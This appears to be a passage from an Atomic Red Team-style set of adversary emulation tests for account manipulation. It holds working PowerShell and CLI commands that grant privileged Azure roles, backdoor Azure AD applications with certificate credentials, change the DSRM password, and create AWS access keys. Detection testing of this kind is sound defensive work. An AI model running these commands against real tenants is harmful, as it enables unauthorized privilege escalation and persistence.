if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"

Azure AD - adding service principal to Azure AD role

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential

$sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'"
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"

Azure - adding user to Azure role in subscription

Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential

$user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" }
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"

Azure - adding service principal to Azure role in subscription

Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} 
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"

Azure AD - adding permission to application

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential

$aadApplication = New-AzureADApplication -DisplayName "#{application_name}"
$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId
#$aadApplication = Get-AzureADApplication -Filter "DisplayName eq '#{application_name}'"

#Get Service Principal of Microsoft Graph Resource API 
$graphSP = Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"

#Initialize RequiredResourceAccess for Microsoft Graph Resource API 
$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$requiredGraphAccess.ResourceAppId = $graphSP.AppId
$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]

#Set Application Permissions
$ApplicationPermissions = @('#{application_permission}')

$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}
if($reqPermission)
{
$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$resourceAccess.Type = "Role"
$resourceAccess.Id = $reqPermission.Id    
#Add required app permission
$requiredGraphAccess.ResourceAccess.Add($resourceAccess)
}
else
{
Write-Host "App permission $permission not found in the Graph Resource API" -ForegroundColor Red
}

#Add required resource accesses
$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]
$requiredResourcesAccess.Add($requiredGraphAccess)

#Set permissions in existing Azure AD App
Set-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess

$servicePrincipal = Get-AzureADServicePrincipal -Filter "AppId eq '$($aadApplication.AppId)'"

New-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id

Password Change on Directory Service Restore Mode (DSRM) Account

ntdsutil "set dsrm password" "sync from domain account #{sync_account}" "q" "q"

Domain Password Policy Check: Short Password

$credFile = "#{cred_file}"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

Domain Password Policy Check: No Number in Password

$credFile = "#{cred_file}"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

Domain Password Policy Check: No Special Character in Password

$credFile = "#{cred_file}"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

Domain Password Policy Check: No Uppercase Character in Password

$credFile = "#{cred_file}"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

Domain Password Policy Check: No Lowercase Character in Password

$credFile = "#{cred_file}"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

Domain Password Policy Check: Only Two Character Classes

$credFile = "#{cred_file}"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

Domain Password Policy Check: Common Password Use

$credFile = "#{cred_file}"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

GCP - Delete Service Account Key

gcloud config set project #{project_id}
KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1`
gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet

T1098.004

SSH Authorized Keys

Modify SSH Authorized Keys

if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys; fi;

T1098.001

Account Manipulation: Additional Cloud Credenti

Azure AD Application Hijacking - Service Principal

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null

$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""

New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

Azure AD Application Hijacking - App Registration

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null

$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
if ($app -eq $null) { Write-Warning "Application not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""

New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

AWS - Create Access Key and Secret Key

aws iam create-access-key --user-name #{username} > $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds
cd $PathToAtomicsFolder/T1098.001/bin/
./aws_secret.sh